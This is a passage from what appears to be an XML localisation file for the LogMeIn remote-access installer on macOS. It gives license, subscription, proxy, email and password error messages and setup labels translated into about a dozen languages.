<en>LogMeIn Pro is not available for this LogMeIn account.\nYou may purchase a subscription of LogMeIn Pro for this PC or choose the free LogMeIn version.\nClick Yes to purchase LogMeIn Pro, or No to use LogMeIn Free.</en>
<de>LogMeIn Pro ist für dieses LogMeIn-Konto nicht verfügbar.\nSie können ein LogMeIn-Pro-Abo für diesen PC erwerben oder die kostenlose LogMeIn-Version nutzen.\nKlicken Sie auf „Ja“, um LogMeIn Pro zu kaufen, oder „Nein“, um LogMeIn Free zu verwenden.</de>
<es>LogMeIn Pro no está disponible para esta cuenta LogMeIn.\nPuede comprar una suscripción de LogMeIn Pro para este ordenador o elegir la versión gratuita LogMeIn.\nPulse Sí para comprar LogMeIn Pro, o No para utilizar LogMeIn Free.</es>
<fr>ogMeIn Pro n'est pas disponible pour ce compte LogMeIn.\nVous pouvez souscrire un abonnement LogMeIn Pro pour ce PC ou choisir la version gratuite de LogMeIn.\nCliquez sur Oui pour acheter LogMeIn Pro ou sur Non pour utiliser LogMeIn Free.</fr>
<it>LogMeIn Pro non è disponibile per questo account LogMeIn.\nÈ possibile acquistare un abbonamento a LogMeIn Pro per questo PC o scegliere la versione gratuita di LogMeIn.\nFare clic su Sì per acquistare LogMeIn Pro oppure su No per utilizzare LogMeIn Free.</it>
<ru>Программа LogMeIn Pro недоступна для данной учетной записи LogMeIn.\nВы можете приобрести подписку на LogMeIn Pro для данного ПК или использовать бесплатную версию LogMeIn.\nНажмите «Да» для приобретения LogMeIn Pro или «Нет» для использования LogMeIn Free.</ru>
<ja>この LogMeIn アカウントでは LogMeIn Pro を使用できません。\nこの PC 用に LogMeIn Pro のサブスクリプションを購入するか、または無償版の LogMeIn Free を選択できます。\nLogMeIn Pro を購入するには [はい] を、LogMeIn Free を使用するには [いいえ] をクリックしてください。</ja>
<zh>LogMeIn Pro 不适用于此 LogMeIn 帐户。\n您可能要购买针对此 PC 的 LogMeIn Pro 订阅或选择免费的 LogMeIn 版本。\n单击“是”以购买 LogMeIn Pro,或单击“否”以使用 LogMeIn Free。</zh>
<ko>해당 LogMeIn 계정에서 LogMeIn Pro를 사용할 수 없습니다.\nPC용 LogMeIn Pro의 가입을 구입하거나 무료 LogMeIn 버전을 선택할 수 있습니다.\nLogMeIn Pro를 구입하려면 예를 클릭하고 LogMeIn Free를 사용하려면 아니오를 클릭하십시오.</ko>
<en-gb>LogMeIn Pro is not available for this LogMeIn account.\nYou may purchase a subscription of LogMeIn Pro for this PC or choose the free LogMeIn version.\nClick Yes to purchase LogMeIn Pro, or No to use LogMeIn Free.</en-gb>
<hu>A LogMeIn Pro nem érhető el ehhez a LogMeIn felhasználói fiókhoz.\nVásároljon LogMeIn Pro előfizetést ehhez a számítógéphez vagy válassza a LogMeIn ingyenes verzióját.\nAz Igen gombra kattintva megvásárolhatja a LogMeIn Pro előfizetést, a Nem gombbal pedig a LogMeIn Free mellett dönthet.</hu>
<pt-br>O LogMeIn Pro não está disponível para esta conta do LogMeIn.\nVocê pode adquirir uma assinatura do LogMeIn Pro para este PC ou escolher a versão gratuita do LogMeIn.\nPara adquirir o LogMeIn Pro, clique em Sim. Para não usar o LogMeIn Free, clique em Não.</pt-br>
<nl>LogMeIn Pro is niet beschikbaar voor dit LogMeIn-account.\nU kunt een abonnement op LogMeIn Pro voor deze pc aanschaffen of ervoor kiezen om de gratis LogMeIn-versie te gebruiken.\nKlik op Ja om LogMeIn Pro aan te schaffen of op Nee om LogMeIn Free te gebruiken.</nl>
</msg>
<msg os="macosx" name="35">
<en>The link issuer does not have available license from this type.</en>
<de>Der Herausgeber des Links besitzt keine verfügbare Lizenz dieses Typs.</de>
<es>La persona que ha enviado el enlace no tiene una licencia disponible de este tipo.</es>
<fr>L'émetteur du lien n'a pas de licence disponible de ce type.</fr>
<it>L'autore del collegamento non ha una licenza disponibile di questo tipo.</it>
<ru>У создателя ссылки нет доступной лицензии данного типа.</ru>
<ja>リンク発行元には、この種類のライセンスで利用可能なものがありません。</ja>
<zh>链接发布者没有可用的此类许可证。</zh>
<ko>해당 링크 사용자는 이 유형에 대한 사용 가능한 라이센스가 없습니다.</ko>
<en-gb>The link issuer does not have available license from this type.</en-gb>
<hu>A hivatkozás kibocsátója nem rendelkezik ilyen típusú szabad licenccel.</hu>
<pt-br>O emissor do link não tem disponível uma licença desse tipo.</pt-br>
<nl>Degene die de koppeling heeft verstuurd, beschikt niet over een licentie van dit type.</nl>
</msg>
<msg os="macosx" name="36">
<en>This computer has already used up its trial.</en>
<de>Die Testversion wurde auf diesem Computer bereits verwendet.</de>
<es>Este ordenador ya ha utilizado su período de prueba.</es>
<fr>Cet ordinateur a déjà utilisé sa version d'essai.</fr>
<it>Questo computer ha già esaurito il suo periodo di prova.</it>
<ru>Для данного компьютера ознакомительная версия уже использована.</ru>
<ja>このコンピュータではこれ以上は試用版を利用できません。</ja>
<zh>此计算机已经用完其试用次数。</zh>
<ko>이 컴퓨터에서 이미 평가 버전을 사용했습니다.</ko>
<en-gb>This computer has already used up its trial.</en-gb>
<hu>Ezen a számítógépen már letelt a próbaidőszak.</hu>
<pt-br>Este computador já usou todo o tempo de avaliação.</pt-br>
<nl>Op deze computer is de proefperiode reeds verstreken.</nl>
</msg>
<msg os="macosx" name="38">
<en>Guest invite email was not sent.</en>
<de>Die E-Mail-Einladung zur Desktopfreigabe wurde nicht versendet.</de>
<es>El correo electrónico con la invitación de Escritorio compartido no ha sido enviado.</es>
<fr>L’email d’invitation de partage de bureau n’a pas été envoyé.</fr>
<it>L'e-mail di invito alla condivisione del desktop non è stata inviata.</it>
<ru>Электронное письмо с приглашением для совместного использования рабочего стола не отправлено.</ru>
<ja>デスクトップ共有の招待のメールが送信されませんでした。</ja>
<zh>桌面共享邀请电子邮件尚未发出。</zh>
<ko>데스크톱 공유 초대장 전자 메일이 전송되지 않았습니다.</ko>
<en-gb>Guest invite email was not sent.</en-gb>
<hu>Az asztal megosztására vonatkozó meghívó e-mail küldése sikertelen.</hu>
<pt-br>O email do Compartilhamento da área de trabalho não foi enviado.</pt-br>
<nl>De e-mail met de uitnodiging voor het Delen van bureaublad is niet verstuurd.</nl>
</msg>
<msg os="macosx" name="39">
<en>FileShare email was not sent.</en>
<de>Die E-Mail-Einladung zur Dateifreigabe wurde nicht versendet.</de>
<es>El correo electrónico con la invitación de Transferencia de archivos no ha sido enviado.</es>
<fr>L’email d’invitation de partage de fichiers n’a pas été envoyé.</fr>
<it>L'e-mail di invito alla condivisione file non è stata inviata.</it>
<ru>Электронное письмо с приглашением для общего доступа к файлам не отправлено.</ru>
<ja>ファイル共有の招待のメールが送信されませんでした。</ja>
<zh>文件共享邀请电子邮件尚未发出。</zh>
<ko>파일 공유 초대장 전자 메일이 전송되지 않았습니다.</ko>
<en-gb>FileShare email was not sent.</en-gb>
<hu>A fájlok megosztására vonatkozó meghívó e-mail küldése sikertelen.</hu>
<pt-br>O email de convite do Compartilhamento de arquivos não foi enviado.</pt-br>
<nl>De e-mail met de uitnodiging voor het Bestanden delen is niet verstuurd.</nl>
</msg>
<msg os="macosx" name="40">
<en>License does not exist.</en>
<de>Diese Lizenz existiert nicht.</de>
<es>La licencia no existe.</es>
<fr>La licence n'existe pas.</fr>
<it>La licenza non esiste.</it>
<ru>Лицензия не существует.</ru>
<ja>ライセンスが存在しません。</ja>
<zh>许可证不存在。</zh>
<ko>라이센스가 없습니다.</ko>
<en-gb>License does not exist.</en-gb>
<hu>A licenc nem létezik.</hu>
<pt-br>A licença não existe.</pt-br>
<nl>Licentie bestaat niet.</nl>
</msg>
<msg os="macosx" name="41">
<en>Authcode does not match.</en>
<de>Der Authentifizierungscode stimmt nicht.</de>
<es>El authcode no coincide.</es>
<fr>Code d’authentification non valable.</fr>
<it>Il codice di autenticazione non corrisponde.</it>
<ru>Код проверки подлинности не совпадает.</ru>
<ja>認証コードが一致しません。</ja>
<zh>认证码不匹配。</zh>
<ko>인증 코드가 일치하지 않습니다.</ko>
<en-gb>Authcode does not match.</en-gb>
<hu>Hibás az engedélyezési kód.</hu>
<pt-br>O código de autenticação não corresponde.</pt-br>
<nl>Identificatiecode komt niet overeen.</nl>
</msg>
<msg os="macosx" name="42">
<en>Subscription is expired.</en>
<de>Das Abo ist abgelaufen.</de>
<es>La suscripción ha caducado.</es>
<fr>L’abonnement a expiré.</fr>
<it>L'abbonamento è scaduto.</it>
<ru>Срок действия подписки истек.</ru>
<ja>サブスクリプションの有効期限が切れています。</ja>
<zh>订阅已到期。</zh>
<ko>가입이 만료되었습니다.</ko>
<en-gb>Subscription is expired.</en-gb>
<hu>Az előfizetés lejárt."</hu>
<pt-br>A assinatura expirou.</pt-br>
<nl>Abonnement is verlopen.</nl>
</msg>
<msg os="macosx" name="43">
<en>Number of host has reached the limit.</en>
<de>Die maximale Hostanzahl wurde erreicht.</de>
<es>Ha alcanzado el número máximo de hosts.</es>
<fr>Nombre maximum d'hôtes atteint.</fr>
<it>Il numero di host ha raggiunto il limite.</it>
<ru>Достигнуто предельное количество хостов.</ru>
<ja>ホスト数が上限に達しました。</ja>
<zh>主机数量已达到限制。</zh>
<ko>호스트 수가 한도에 도달했습니다.</ko>
<en-gb>Number of host has reached the limit.</en-gb>
<hu>A gazdagépek száma elérte a határértéket.</hu>
<pt-br>Foi atingido o limite máximo de hosts.</pt-br>
<nl>Het maximumaantal host-computers is bereikt.</nl>
</msg>
<msg os="macosx" name="44">
<en>License change is requested.</en>
<de>Lizenzänderung wurde bereits angefordert.</de>
<es>Se ha solicitado un cambio de licencia.</es>
<fr>Une modification de licence est nécessaire.</fr>
<it>È necessario cambiare la licenza.</it>
<ru>Запрошено изменение лицензии.</ru>
<ja>ライセンスの変更が要求されました。</ja>
<zh>已请求更改许可证。</zh>
<ko>라이센스 변경이 필요합니다.</ko>
<en-gb>License change is requested.</en-gb>
<hu>Már kért licencmódosítást.</hu>
<pt-br>É solicitada uma alteração de licença.</pt-br>
<nl>De aanvraag voor de wijziging van de licentie is ontvangen.</nl>
</msg>
<msg os="macosx" name="45">
<en>License could not be changed.</en>
<de>Die Lizenz konnte nicht geändert werden.</de>
<es>La licencia no se ha podido cambiar.</es>
<fr>La licence n'a pas pu être modifiée.</fr>
<it>Impossibile cambiare la licenza.</it>
<ru>Лицензию не удалось изменить.</ru>
<ja>ライセンスが変更されませんでした。</ja>
<zh>不能更改许可证。</zh>
<ko>라이센스를 변경할 수 없습니다.</ko>
<en-gb>License could not be changed.</en-gb>
<hu>A licenc nem módosítható.</hu>
<pt-br>Não foi possível alterar a licença.</pt-br>
<nl>De licentie kon niet worden gewijzigd.</nl>
</msg>
<msg os="macosx" name="46">
<en>Profile does not exist.</en>
<de>Dieses Profil existiert nicht.</de>
<es>El perfil no existe.</es>
<fr>Le profil n'existe pas.</fr>
<it>Il profilo non esiste.</it>
<ru>Профиль не существует.</ru>
<ja>プロファイルが存在しません。</ja>
<zh>配置文件不存在。</zh>
<ko>프로필이 없습니다.</ko>
<en-gb>Profile does not exist.</en-gb>
<hu>A profil nem létezik.</hu>
<pt-br>O perfil não existe.</pt-br>
<nl>Profiel bestaat niet.</nl>
</msg>
<msg os="macosx" name="47">
<en>No subscription available for this profile.</en>
<de>Für dieses Profil ist kein Abo verfügbar.</de>
<es>No hay ninguna suscripción disponible para este perfil.</es>
<fr>Aucun abonnement disponible pour ce profil.</fr>
<it>Non vi sono abbonamenti disponibili per questo profilo.</it>
<ru>Для данного профиля нет доступной подписки.</ru>
<ja>このプロファイルに利用可能なサブスクリプションがありません。</ja>
<zh>没有针对此配置文件的可用订阅。</zh>
<ko>해당 프로필에서 사용할 수 있는 가입이 없습니다.</ko>
<en-gb>No subscription available for this profile.</en-gb>
<hu>Ehhez a profilhoz nem áll rendelkezésre előfizetés.</hu>
<pt-br>Não há assinatura disponível para este perfil.</pt-br>
<nl>Geen abonnement beschikbaar voor dit profiel.</nl>
</msg>
<msg os="macosx" name="48">
<en>No permission to deploy for this profile.</en>
<de>Sie sind nicht berechtigt, Ferninstallationen über dieses Profil auszuführen.</de>
<es>No está permitido utilizar este perfil.</es>
<fr>Pas d'autorisation pour le déploiement de ce profil.</fr>
<it>Nessuna autorizzazione di distribuzione per questo profilo.</it>
<ru>Разрешение на развертывание для этого профиля отсутствует.</ru>
<ja>このプロファイルに対して展開を行う権限がありません。</ja>
<zh>此配置文件没有部署权限。</zh>
<ko>해당 프로필에 대한 배치 권한이 없습니다.</ko>
<en-gb>No permission to deploy for this profile.</en-gb>
<hu>Nem küldhetők telepítési hivatkozások ezzel a profillal.</hu>
<pt-br>Não há permissão de implementação para este perfil.</pt-br>
<nl>U beschikt niet over de toestemming om dit profiel te implementeren.</nl>
</msg>
<msg os="macosx" name="58">
<en>LogMeIn cannot be installed.\nPlease contact the person who sent you the LogMeIn installation link.</en>
<de>LogMeIn kann nicht installiert werden.\nBitte kontaktieren Sie die Person, von der Sie den LogMeIn-Installationslink erhalten haben.</de>
<es>No se puede instalar LogMeIn.\nPóngase en contacto con la persona que le ha enviado el vínculo de instalación de LogMeIn.</es>
<fr>Impossible d'installer LogMeIn. \nContactez la personne qui vous a envoyé le lien d'installation de LogMeIn.</fr>
<it>Impossibile installare LogMeIn.\nContattare la persona che ha inviato il collegamento per l’installazione di LogMeIn.</it>
<ru>LogMeIn невозможно установить.\nСвяжитесь с отправителем ссылки для установки LogMeIn.</ru>
<ja>LogMeIn をインストールできません。\nこの問題については、LogMeIn インストール リンクの送信者に問い合わせてください。</ja>
<zh>LogMeIn 无法安装。\n请联系将此 LogMeIn 安装链接发送给您的人员。</zh>
<ko>LogMeIn을 설치할 수 없습니다.\nLogMeIn 설치 링크를 보낸 사용자에게 연락하십시오.</ko>
<en-gb>LogMeIn cannot be installed.\nPlease contact the person who sent you the LogMeIn installation link.</en-gb>
<hu>A LogMeIn szoftvert nem lehet telepíteni.\nKérem, vegye fel a kapcsolatot a hivatkozás küldőjével.</hu>
<pt-br>Não é possível instalar o LogMeIn.\nEntre em contato com a pessoa que enviou o link de instalação do LogMeIn para você.</pt-br>
<nl>LogMeIn kan niet worden geïnstalleerd.\nNeem contact op met degene van wie u de installatiekoppeling voor LogMeIn hebt ontvangen.</nl>
</msg>
<msg os="macosx" name="99">
<en>Unknown error.</en>
<de>Unbekannter Fehler.</de>
<es>Error desconocido.</es>
<fr>Erreur inconnue.</fr>
<it>Errore sconosciuto</it>
<ru>Неизвестная ошибка.</ru>
<ja>不明なエラーです。</ja>
<zh>未知错误。</zh>
<ko>알 수 없는 오류.</ko>
<en-gb>Unknown error.</en-gb>
<hu>Ismeretlen hiba.</hu>
<pt-br>Erro desconhecido.</pt-br>
<nl>Onbekende fout.</nl>
</msg>
<msg os="macosx" name="100">
<en>The following error occurred while registering with LogMeIn.com:\n</en>
<de>Während der Registrierung auf LogMeIn.com ist folgender Fehler aufgetreten:\n</de>
<es>Ocurrió el siguiente error al registrarse en LogMeIn.com:\n</es>
<fr>L'erreur suivante est survenue lors de l'inscription sur LogMeIn.com:\n</fr>
<it>Si è verificato il seguente errore durante la registrazione a LogMeIn.com:\n</it>
<ru>При регистрации на веб-сайте LogMeIn.com произошла следующая ошибка:\n</ru>
<ja>LogMeIn.com の登録中に次のエラーが発生しました。:\n</ja>
<zh>通过 LogMeIn.com 注册时发生如下错误:\n</zh>
<ko>LogMeIn.com에 등록하는 동안 다음 오류가 발생했습니다.:\n</ko>
<en-gb>The following error occurred while registering with LogMeIn.com:\n</en-gb>
<hu>A LogMeIn.com regisztrációja közben a következő hiba történt:\n</hu>
<pt-br>Ocorreu o seguinte erro durante o registro no LogMeIn.com:\n</pt-br>
<nl>Tijdens het registreren bij LogMeIn.com is de volgende fout opgetreden:\n</nl>
</msg>
<msg os="macosx" name="110">
<en>An error has occurred while communicating with LogMeIn.com.</en>
<de>Während der Kommunikation mit LogMeIn.com ist ein Fehler aufgetreten.</de>
<es>Se ha producido un error al comunicar con LogMeIn.com.</es>
<fr>Une erreur est survenue lors de la communication avec LogMeIn.com.</fr>
<it>Si è verificato un errore durante la comunicazione con LogMeIn.com.</it>
<ru>При обмене данными с веб-сайтом LogMeIn.com произошла ошибка.</ru>
<ja>LogMeIn.com への接続中にエラーが発生しました。</ja>
<zh>与 LogMeIn.com 通信时出错。</zh>
<ko>LogMeIn.com과 통신하는 동안 오류가 발생했습니다.</ko>
<en-gb>An error has occurred while communicating with LogMeIn.com.</en-gb>
<hu>LogMeIn.com szerverével folytatott kommunikáció során hiba történt.</hu>
<pt-br>Ocorreu um erro ao se comunicar com o LogMeIn.com.</pt-br>
<nl>Er is een fout opgetreden tijdens de communicatie met LogMeIn.com.</nl>
</msg>
<msg os="macosx" name="120">
<en>The response from LogMeIn.com could not be interpreted.</en>
<de>Die Antwort von LogMeIn.com konnte nicht interpretiert werden.</de>
<es>No se pudo interpretar la respuesta de LogMeIn.com.</es>
<fr>Impossible d’interpréter la réponse de LogMeIn.com.</fr>
<it>Impossibile interpretare la risposta di LogMeIn.com.</it>
<ru>Ответ от веб-сайта LogMeIn.com не удалось интерпретировать.</ru>
<ja>LogMeIn.com からの応答を解釈できませんでした。</ja>
<zh>无法解释来自 LogMeIn.com 的响应。</zh>
<ko>LogMeIn.com의 응답을 해석할 수 없습니다.</ko>
<en-gb>The response from LogMeIn.com could not be interpreted.</en-gb>
<hu>A LogMeIn.com szerverétől érkezett válasz nem értelmezhető.</hu>
<pt-br>Não foi possível interpretar a resposta do LogMeIn.com.</pt-br>
<nl>Het antwoord van LogMeIn.com kon niet worden geïnterpreteerd.</nl>
</msg>
<msg os="macosx" name="130">
<en>The LogMeIn Installer could not authenticate with your proxy server.</en>
<de>Die Authentifizierung des LogMeIn-Installationsprogramms bei Ihrem Proxyserver ist fehlgeschlagen.</de>
<es>El instalador LogMeIn no pudo autenticarse con su servidor proxy.</es>
<fr>Le programme d’installation de LogMeIn n’a pas pu s’authentifier auprès de votre serveur de proxy.</fr>
<it>Il programma di installazione di LogMeIn non è riuscito a eseguire l'autenticazione con il server proxy.</it>
<ru>Программе LogMeIn Installer не удалось пройти проверку подлинности на вашем прокси-сервере.</ru>
<ja>プロキシ サーバーへの認証ができませんでした。</ja>
<zh>LogMeIn 安装程序无法利用您的代理服务器进行验证。</zh>
<ko>LogMeIn 설치 프로그램에서 프록시 서버를 인증할 수 없습니다.</ko>
<en-gb>The LogMeIn Installer could not authenticate with your proxy server.</en-gb>
<hu>A LogMeIn telepítőjének hitelesítése sikertelen volt az Ön proxykiszolgálójával.</hu>
<pt-br>Não foi possível autenticar o instalador do LogMeIn com o seu servidor proxy.</pt-br>
<nl>Het LogMeIn-installatieprogramma kon niet worden geverifieerd bij uw proxyserver.</nl>
</msg>
<msg os="macosx" name="140">
<en>Would you like to configure your proxy settings now?</en>
<de>Möchten Sie Ihre Proxyeinstellungen jetzt konfigurieren?</de>
<es>¿Desea definir la configuración de su proxy ahora?</es>
<fr>Voulez-vous configurer les réglages de proxy maintenant ?</fr>
<it>Configurare le impostazioni del proxy adesso?</it>
<ru>Программе LogMeIn Installer не удалось пройти проверку подлинности на вашем прокси-сервере.</ru>
<ja>ここでプロキシの設定を行いますか。</ja>
<zh>是否要立即配置您的代理设置?</zh>
<ko>프록시 설정을 지금 구성하시겠습니까?</ko>
<en-gb>Would you like to configure your proxy settings now?</en-gb>
<hu>Szeretné most konfigurálni a proxybeállításokat?</hu>
<pt-br>Deseja definir suas configurações de proxy agora?</pt-br>
<nl>Wilt u uw proxy-instellingen nu configureren?</nl>
</msg>
<msg os="macosx" name="150">
<en>This problem may be due to a proxy server on your network that LogMeIn Installer did not detect automatically.\n\nWould you like to configure your proxy settings now?</en>
<de>Dies könnte daran liegen, dass das LogMeIn-Installationsprogramm einen Proxyserver in Ihrem Netzwerk nicht automatisch erkannt hat.\n\nMöchten Sie Ihre Proxyeinstellungen jetzt konfigurieren?</de>
<es>Este problema puede deberse a un servidor proxy en su red que el instalador LogMeIn no detectó automáticamente.\n\n¿Desea definir la configuración de su proxy ahora?</es>
<fr>Ce problème peut provenir de la présence d’un serveur de proxy sur votre réseau que le programme d’installation de LogMeIn n’a pas automatiquement détecté.\n\nVoulez-vous configurer les réglages de proxy maintenant ?</fr>
<it>Questo problema può essere dovuto a un server proxy sulla rete che il programma di installazione di LogMeIn non è stato in grado di rilevare automaticamente.\n\nConfigurare le impostazioni del proxy adesso?</it>
<ru>Проблема может быть связана с прокси-сервером в вашей сети, который программа LogMeIn Installer не определила автоматически.\n\nПерейти к настройке параметров вашего прокси-сервера сейчас?</ru>
<ja>この問題は、LogMeIn インストーラが自動検出しなかった、ネットワーク上のプロキシ サーバーに原因がある可能性があります。\n\nここでプロキシの設定を行いますか。</ja>
<zh>导致此问题的原因可能是 LogMeIn 安装程序未自动检测到您网络中的代理服务器。\n\n是否要立即配置您的代理设置?</zh>
<ko>이 문제는 네트워크 상의 프록시 서버 때문에 발생하였으며 LogMeIn 설치 프로그램에서 자동으로 탐지할 수 없습니다.\n\n프록시 설정을 지금 구성하시겠습니까?</ko>
<en-gb>This problem may be due to a proxy server on your network that LogMeIn Installer did not detect automatically.\n\nWould you like to configure your proxy settings now?</en-gb>
<hu>A problémát az Ön hálózatában lévő proxykiszolgáló okozhatja, amelyet a LogMeIn telepítője nem észlelt automatikusan.\n\nSzeretné most konfigurálni a proxybeállításokat?</hu>
<pt-br>Este problema deve ter sido ocasionado por um servidor de proxy na sua rede que o Instalador do LogMeIn não detectou automaticamente.\n\nDeseja definir suas configurações de proxy agora?</pt-br>
<nl>Dit probleem kan het gevolg zijn van een proxyserver op uw netwerk dat het LogMeIn-installatieprogramma niet automatisch heeft gedetecteerd.\n\nWilt u uw proxy-instellingen nu configureren?</nl>
</msg>
<msg os="macosx" name="EMAIL_INVALID">
<en>Please enter a valid email address.</en>
<de>Bitte geben Sie eine gültige E-Mail-Adresse ein.</de>
<es>Por favor, introduzca una dirección de e-mail válida.</es>
<fr>Entrez une adresse email valable.</fr>
<it>Immettere un indirizzo e-mail valido.</it>
<ru>Введите допустимый адрес электронной почты.</ru>
<ja>有効なメール アドレスを入力してください。</ja>
<zh>请输入有效的电子邮件地址。</zh>
<ko>올바른 전자 메일 주소를 입력하십시오.</ko>
<en-gb>Please enter a valid email address.</en-gb>
<hu>Kérjük, írjon be egy érvényes e-mail címet.</hu>
<pt-br>Insira um endereço de email válido.</pt-br>
<nl>Voer een geldig e-mailadres in.</nl>
</msg>
<msg os="macosx" name="EMAIL_CONFIRM">
<en>Please confirm your e-mail address.</en>
<de>Bitte bestätigen Sie Ihre E-Mail-Adresse.</de>
<es>Por favor, confirme su dirección de e-mail.</es>
<fr>Confirmez votre adresse email.</fr>
<it>Confermare l'indirizzo e-mail.</it>
<ru>Подтвердите ваш адрес электронной почты.</ru>
<ja>確認のためメール アドレスを再入力してください</ja>
<zh>请确认您的电子邮件地址。</zh>
<ko>전자 메일 주소를 확인하십시오.</ko>
<en-gb>Please confirm your e-mail address.</en-gb>
<hu>Kérjük, erősítse meg e-mail címét.</hu>
<pt-br>Confirme seu endereço de email.</pt-br>
<nl>Bevestig hier uw e-mailadres.</nl>
</msg>
<msg os="macosx" name="EMAILS_DONTMATCH">
<en>Your email and confirmation email do not match. Please check them and try again.</en>
<de>Die eingegebenen E-Mail-Adressen stimmen nicht überein. Bitte überprüfen Sie sie und versuchen Sie es erneut.</de>
<es>Su e-mail y su e-mail de confirmación no coinciden. Por favor, compruébelas y vuelva a intentarlo.</es>
<fr>L'email de confirmation ne correspond pas à l’email. Réessayez.</fr>
<it>L'indirizzo e-mail e quello di conferma non corrispondono. Effettuare un controllo e riprovare.</it>
<ru>Указанный адрес электронной почты и его подтверждение не совпадают. Проверьте их и повторите попытку.</ru>
<ja>メール アドレスと再入力の内容が一致しません。 確認の上、やり直してください。</ja>
<zh>您的电子邮件与确认电子邮件不匹配。 请检查它们并重试。</zh>
<ko>전자 메일과 확인 전자 메일이 일치하지 않습니다. 확인 후 다시 시도하십시오.</ko>
<en-gb>Your email and confirmation email do not match. Please check them and try again.</en-gb>
<hu>Nem egyezik az eredeti és a megerősítő e-mail cím. Kérjük, ellenőrizze, és próbálja újra.</hu>
<pt-br>Seu email e a confirmação de email não correspondem. Verifique-os e tente novamente.</pt-br>
<nl>Uw e-mailadres en bevestigde e-mailadres komen niet overeen. Controleer deze en probeer het nogmaals.</nl>
</msg>
<msg os="macosx" name="PASSWORD_BLANK">
<en>You need a password.</en>
<de>Sie brauchen ein Passwort.</de>
<es>Necesita una contraseña.</es>
<fr>Choisissez un mot de passe.</fr>
<it>È necessaria una password.</it>
<ru>Необходимо указать пароль.</ru>
<ja>パスワードが必要です。</ja>
<zh>您需要设置密码。</zh>
<ko>암호가 필요합니다.</ko>
<en-gb>You need a password.</en-gb>
<hu>Jelszóra van szüksége.</hu>
<pt-br>Você precisa de uma senha.</pt-br>
<nl>U moet een wachtwoord hebben.</nl>
</msg>
<msg os="macosx" name="PASSWORD_SHORT">
<en>Your password should be at least 6 characters long.</en>
<de>Ihr Passwort muss mindestens 6 Zeichen lang sein.</de>
<es>Su contraseña debe tener 6 caracteres como mínimo.</es>
<fr>Votre mot de passe doit comporter au moins 6 caractères.</fr>
<it>La password deve avere una lunghezza di almeno 6 caratteri.</it>
<ru>Пароль должен содержать не менее 6 символов.</ru>
<ja>パスワードは 6 文字以上の長さが必要です。</ja>
<zh>您的密码长度应该至少 6 个字符。</zh>
<ko>암호는 적어도 6자 길이어야 합니다.</ko>
<en-gb>Your password should be at least 6 characters long.</en-gb>
<hu>A jelszónak legalább 6 karakterből kell állnia.</hu>
<pt-br>Sua senha deve ter pelo menos 6 caracteres.</pt-br>
<nl>Uw wachtwoord moet minstens 6 tekens lang zijn.</nl>
</msg>
<msg os="macosx" name="PASSWORD_CONFIRM">
<en>Please confirm your password.</en>
<de>Bitte bestätigen Sie Ihr Passwort.</de>
<es>Por favor, confirme su contraseña.</es>
<fr>Confirmez votre mot de passe.</fr>
<it>Confermare la password.</it>
<ru>Подтвердите свой пароль.</ru>
<ja>確認のためパスワードを再入力してください。</ja>
<zh>请确认您的密码。</zh>
<ko>암호를 확인하십시오.</ko>
<en-gb>Please confirm your password.</en-gb>
<hu>Kérjük, erősítse meg jelszavát.</hu>
<pt-br>Confirme sua senha.</pt-br>
<nl>Bevestig uw wachtwoord.</nl>
</msg>
<msg os="macosx" name="PASSWORD_DONTMATCH">
<en>Your password and confirmation password do not match. Please check them and try again.</en>
<de>Die eingegebenen Passwörter stimmen nicht überein. Bitte überprüfen Sie sie und versuchen Sie es erneut.</de>
<es>Su contraseña y su contraseña de confirmación no coinciden. Por favor, compruébelas y vuelva a intentarlo.</es>
<fr>La confirmation de votre mot de passe ne correspond pas à votre mot de passe. Réessayez.</fr>
<it>La password e la password di conferma non corrispondono. Effettuare un controllo e riprovare.</it>
<ru>Указанный пароль и его подтверждение не совпадают. Проверьте их и повторите попытку.</ru>
<ja>パスワードと再入力の内容が一致しません。 確認の上、やり直してください。</ja>
<zh>您的密码与确认密码不匹配。 请检查它们并重试。</zh>
<ko>암호와 확인 암호가 일치하지 않습니다. 확인 후 다시 시도하십시오.</ko>
<en-gb>Your password and confirmation password do not match. Please check them and try again.</en-gb>
<hu>Nem egyezik az eredeti és a megerősítő jelszó. Kérjük, ellenőrizze, és próbálja újra.</hu>
<pt-br>Sua senha e a confirmação de senha não correspondem. Verifique-os e tente novamente.</pt-br>
<nl>Uw wachtwoord en bevestigingswachtwoord komen niet overeen. Controleer deze en probeer het nogmaals.</nl>
</msg>
</cat>
<cat name="PROFILESELECT">
<msg name="DESCRIPTION">
<en>Please select a profile</en>
<de>Wählen Sie ein Profil aus.</de>
<es>Seleccione un perfil.</es>
<fr>Veuillez sélectionner un profil</fr>
<it>Selezionare un profilo</it>
<ru>Выберите профиль</ru>
<ja>プロファイルを選択してください</ja>
<zh>请选择配置文件</zh>
<ko>프로필을 선택하십시오.</ko>
<hu>Kérem, válasszon egy profilt</hu>
<pt-br>Selecione um perfil.</pt-br>
<nl>Selecteer een profiel</nl>
</msg>
<msg name="PROFILE_COLUMN_NAME">
<en>Profile</en>
<de>Profile</de>
<es>Perfiles</es>
<fr>Profils</fr>
<it>Profili</it>
<ru>Профили</ru>
<ja>プロファイル</ja>
<zh>配置文件</zh>
<ko>프로필</ko>
<en-gb>Profiles</en-gb>
<hu>Profilok</hu>
<pt-br>Perfis</pt-br>
<nl>Profiel</nl>
</msg>
</cat>
<cat name="COMPUTERNAME">
<msg name="PANELTITLE">
<en>Set Computer Description</en>
<de>Computerbeschreibung festlegen</de>
<es>Asigne una descripción al ordenador</es>
<fr>Définir la description de l'ordinateur</fr>
<it>Imposta descrizione computer</it>
<ru>Задайте описание компьютера</ru>
<ja>コンピュータの説明を設定してください</ja>
<zh>设置计算机说明</zh>
<ko>컴퓨터 설명 설정</ko>
<hu>Állítsa be a számítógép leírását</hu>
<pt-br>Definir descrição do computador</pt-br>
<nl>Beschrijving van computer opgeven</nl>
<en-gb>Set Computer Description</en-gb>
</msg>
<msg name="DESCRIPTION">
<en>Enter computer description:</en>
<de>Computerbeschreibung eingeben:</de>
<es>Introduzca la descripción del ordenador:</es>
<fr>Entrez la description de l'ordinateur :</fr>
<it>Immetti la descrizione del computer:</it>
<ru>Введите описание компьютера:</ru>
<ja>コンピュータの説明をの入力 :</ja>
<zh>输入计算机说明:</zh>
<ko>컴퓨터 설명 입력:</ko>
<hu>Adja meg a számítógép leírását:</hu>
<pt-br>Digite a descrição do computador:</pt-br>
<nl>Voer de beschrijving van computer in:</nl>
<en-gb>Enter computer description:</en-gb>
</msg>
<msg name="MAXCHAR">
<en>max. 80 characters</en>
<de>max. 80 Zeichen</de>
<es>máx. 80 caracteres</es>
<fr>80 caractères maximum</fr>
